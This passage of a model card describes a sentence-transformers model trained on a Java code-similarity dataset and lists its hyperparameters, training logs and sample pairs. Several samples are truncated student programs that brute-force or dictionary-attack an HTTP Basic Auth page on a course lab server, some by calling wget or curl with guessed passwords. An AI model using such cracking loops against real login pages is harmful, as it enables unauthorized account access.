| |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | |
| | <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br><br>public class Dictionary {<br><br> public static void main(String args[])<br> {<br> int i,j,k;<br> String pass = new String();<br> String UserPass = new String();<br> String status = new String();<br> String status1 = new String();<br> BasicAuth auth = new BasicAuth();<br> URLConnection connect;<br> int start,end,diff;<br> try {<br> URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br><br><br> start =System.currentTimeMillis();<br><br> BufferedReader dis = new BufferedReader(new FileReader("words"));<br><br><br> while ((pass = dis.readLine()) != null)<br> {<br><br><br> UserPass= auth.encode("",pass);<br><br> connect = url.openConnection();<br> connect.setDoInput(true);<br> connect.setDoOutput(true);<br><br> connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");<br> connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");<br> connect.setRequestProperty(...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> | | |
| | <code>0</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br> private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private Vector v;<br><br> public Cracker()<br> {<br> v = new Vector( 52);<br> }<br> public void loadLetters()<br> {<br> int i;<br><br> for( i = 0; i < letters.length; i++)<br> {<br> String s = new StringBuffer().append( letters[i]).toString();<br> v.add( s);<br> }<br> }<br> public Vector getVictor()<br> {<br> return ;<br> }<br> public void loadPairs()<br> {<br> int i,j;<br><br> for( i = 0; i < letters.length - 1; i++)<br> {<br> for( j = i + 1; j < letters.length; j++)<br> {<br> String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br> String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> | | |
| | <code>0</code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.util.StringTokenizer;<br><br>public class Dictionary<br>{<br> public static void main(String args[])<br> {<br> final String DICT_FILE = "/usr/share/lib/dict/words"; <br> String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; <br> String password;<br> String s = null;<br> int num_tries = 0;<br> <br> try<br> {<br> <br> BufferedReader dict_word = new BufferedReader<br> (new FileReader (DICT_FILE));<br> <br> <br> while((password = dict_word.readLine())!= null)<br> { <br> try <br> {<br> <br> Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.g...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> | | |
| * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) | |
| ### Evaluation Dataset | |
| #### soco_train_java | |
| * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) | |
| * Size: 16,706 evaluation samples | |
| * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> | |
| * Approximate statistics based on the first 1000 samples: | |
| | | label | text_1 | text_2 | | |
| |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | |
| | type | int | string | string | | |
| | details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.68 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.63 tokens</li><li>max: 512 tokens</li></ul> | | |
| * Samples: | |
| | label | text_1 | text_2 | | |
| |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | |
| | <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br> public static void main(String[] args) <br> {<br> Runtime rt = Runtime.getRuntime();<br> Process pr= null;<br> char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> String pass;<br> char temp[] = {'a','a'};<br> char temp1[] = {'a','a','a'};<br> char temp2[] = {'a'};<br><br> String f= new String();<br> String resp = new String();<br> int count=0;<br> String success = new String();<br> InputStreamReader instre;<br> BufferedReader bufread;<br><br><br> for(int k=0;k<52;k++)<br> {<br> temp2[0]=chars[k];<br> pass = new String(temp2); <br> count++; <br><br> System.out.println("The password tried ...</code> | | |
| | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br> private static final int passwdLength = 3; <br> private static String commandLine<br> = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> private int charLen = chars.length(); <br> private int n = 0; <br> private int n3 = charLen*charLen*charLen; <br> private String response;<br> private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br> private char[][] data = new char[passwdLength][charLen];<br> private char[] pwdChar2 = new char[2];<br> private char[] pwdChar = new char[passwdLength];<br> private String url;<br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br>...</code> | | |
| | <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> public static void main (String[] args)<br> {<br> String pw = new String();<br> pw = getPassword ();<br> System.out.println("Password is: "+pw);<br> }<br> public static String getPassword()<br> {<br> String passWord = new String();<br> passWord = "AAA";<br> char[] guess = passWord.toCharArray();<br> Process pro = null;<br> Runtime runtime = Runtime.getRuntime();<br> BufferedReader in = null;<br> String str=null;<br> boolean found = true;<br><br> System.out.println(" attacking.....");<br> for (int i=65;i<=122 ;i++ )<br> {<br> guess[0]=(char)(i);<br> for (int j=65;j<=122 ;j++ )<br> {<br> guess[1]=(char)(j);<br> for (int k=65 ;k<=122 ;k++ )<br> {<br> guess[2]=(char)(k);<br> passWord = new String(guess);<br> String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br> try<br> {<br> pro = runtime.exec(cmd);<br><br> in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code> | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br> private static final String USERNAME = "";<br> private static final char [] POSSIBLE_CHAR =<br> {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br> 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br> 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private static int NUMBER_OF_THREAD = 500;<br><br> private static Date startDate = null;<br> private static Date endDate = null;<br><br> private String address;<br> private String password;<br><br> public BruteForce(String address, String password)<br> {<br> this.address = address;<br> this.password = password;<br> }<br><br> public static void main(String[] args) throws IOException<br> {<br> if (args.length < 1)<br> {<br> System.err.println("Invalid usage!");<br> System.err.println("...</code> | | |
| * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) | |
| ### Training Hyperparameters | |
| #### Non-Default Hyperparameters | |
| - `per_device_train_batch_size`: 16 | |
| - `num_train_epochs`: 1 | |
| #### All Hyperparameters | |
| <details><summary>Click to expand</summary> | |
| - `overwrite_output_dir`: False | |
| - `do_predict`: False | |
| - `eval_strategy`: no | |
| - `prediction_loss_only`: True | |
| - `per_device_train_batch_size`: 16 | |
| - `per_device_eval_batch_size`: 8 | |
| - `per_gpu_train_batch_size`: None | |
| - `per_gpu_eval_batch_size`: None | |
| - `gradient_accumulation_steps`: 1 | |
| - `eval_accumulation_steps`: None | |
| - `torch_empty_cache_steps`: None | |
| - `learning_rate`: 5e-05 | |
| - `weight_decay`: 0.0 | |
| - `adam_beta1`: 0.9 | |
| - `adam_beta2`: 0.999 | |
| - `adam_epsilon`: 1e-08 | |
| - `max_grad_norm`: 1.0 | |
| - `num_train_epochs`: 1 | |
| - `max_steps`: -1 | |
| - `lr_scheduler_type`: linear | |
| - `lr_scheduler_kwargs`: {} | |
| - `warmup_ratio`: 0.0 | |
| - `warmup_steps`: 0 | |
| - `log_level`: passive | |
| - `log_level_replica`: warning | |
| - `log_on_each_node`: True | |
| - `logging_nan_inf_filter`: True | |
| - `save_safetensors`: True | |
| - `save_on_each_node`: False | |
| - `save_only_model`: False | |
| - `restore_callback_states_from_checkpoint`: False | |
| - `no_cuda`: False | |
| - `use_cpu`: False | |
| - `use_mps_device`: False | |
| - `seed`: 42 | |
| - `data_seed`: None | |
| - `jit_mode_eval`: False | |
| - `use_ipex`: False | |
| - `bf16`: False | |
| - `fp16`: False | |
| - `fp16_opt_level`: O1 | |
| - `half_precision_backend`: auto | |
| - `bf16_full_eval`: False | |
| - `fp16_full_eval`: False | |
| - `tf32`: None | |
| - `local_rank`: 0 | |
| - `ddp_backend`: None | |
| - `tpu_num_cores`: None | |
| - `tpu_metrics_debug`: False | |
| - `debug`: [] | |
| - `dataloader_drop_last`: False | |
| - `dataloader_num_workers`: 0 | |
| - `dataloader_prefetch_factor`: None | |
| - `past_index`: -1 | |
| - `disable_tqdm`: False | |
| - `remove_unused_columns`: True | |
| - `label_names`: None | |
| - `load_best_model_at_end`: False | |
| - `ignore_data_skip`: False | |
| - `fsdp`: [] | |
| - `fsdp_min_num_params`: 0 | |
| - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} | |
| - `fsdp_transformer_layer_cls_to_wrap`: None | |
| - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} | |
| - `deepspeed`: None | |
| - `label_smoothing_factor`: 0.0 | |
| - `optim`: adamw_torch | |
| - `optim_args`: None | |
| - `adafactor`: False | |
| - `group_by_length`: False | |
| - `length_column_name`: length | |
| - `ddp_find_unused_parameters`: None | |
| - `ddp_bucket_cap_mb`: None | |
| - `ddp_broadcast_buffers`: False | |
| - `dataloader_pin_memory`: True | |
| - `dataloader_persistent_workers`: False | |
| - `skip_memory_metrics`: True | |
| - `use_legacy_prediction_loop`: False | |
| - `push_to_hub`: False | |
| - `resume_from_checkpoint`: None | |
| - `hub_model_id`: None | |
| - `hub_strategy`: every_save | |
| - `hub_private_repo`: None | |
| - `hub_always_push`: False | |
| - `gradient_checkpointing`: False | |
| - `gradient_checkpointing_kwargs`: None | |
| - `include_inputs_for_metrics`: False | |
| - `include_for_metrics`: [] | |
| - `eval_do_concat_batches`: True | |
| - `fp16_backend`: auto | |
| - `push_to_hub_model_id`: None | |
| - `push_to_hub_organization`: None | |
| - `mp_parameters`: | |
| - `auto_find_batch_size`: False | |
| - `full_determinism`: False | |
| - `torchdynamo`: None | |
| - `ray_scope`: last | |
| - `ddp_timeout`: 1800 | |
| - `torch_compile`: False | |
| - `torch_compile_backend`: None | |
| - `torch_compile_mode`: None | |
| - `include_tokens_per_second`: False | |
| - `include_num_input_tokens_seen`: False | |
| - `neftune_noise_alpha`: None | |
| - `optim_target_modules`: None | |
| - `batch_eval_metrics`: False | |
| - `eval_on_start`: False | |
| - `use_liger_kernel`: False | |
| - `eval_use_gather_object`: False | |
| - `average_tokens_across_devices`: False | |
| - `prompts`: None | |
| - `batch_sampler`: batch_sampler | |
| - `multi_dataset_batch_sampler`: proportional | |
| </details> | |
| ### Training Logs | |
| | Epoch | Step | Training Loss | | |
| |:------:|:----:|:-------------:| | |
| | 0.2393 | 500 | 0.0179 | | |
| | 0.4787 | 1000 | 0.0231 | | |
| | 0.7180 | 1500 | 0.0166 | | |
| | 0.9574 | 2000 | 0.0149 | | |
| ### Framework Versions | |
| - Python: 3.11.11 | |
| - Sentence Transformers: 4.1.0 | |
| - Transformers: 4.52.4 | |
| - PyTorch: 2.8.0.dev20250319+cu128 | |
| - Accelerate: 1.7.0 | |
| - Datasets: 3.6.0 | |
| - Tokenizers: 0.21.1 | |
| ## Citation | |
| ### BibTeX | |
| #### Sentence Transformers and SoftmaxLoss | |
| ```bibtex | |
| @inproceedings{reimers-2019-sentence-bert, | |
| title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", | |
| author = "Reimers, Nils and Gurevych, Iryna", | |
| booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", | |
| month = "11", | |
| year = "2019", | |
| publisher = "Association for Computational Linguistics", | |
| url = "https://arxiv.org/abs/1908.10084", | |
| } | |
| ``` | |
| <!-- | |
| ## Glossary | |
| *Clearly define terms in order to be accessible across audiences.* | |
| --> | |
| <!-- | |
| ## Model Card Authors | |
| *Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* | |
| --> | |
| <!-- | |
| ## Model Card Contact | |
| *Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* | |
| --> |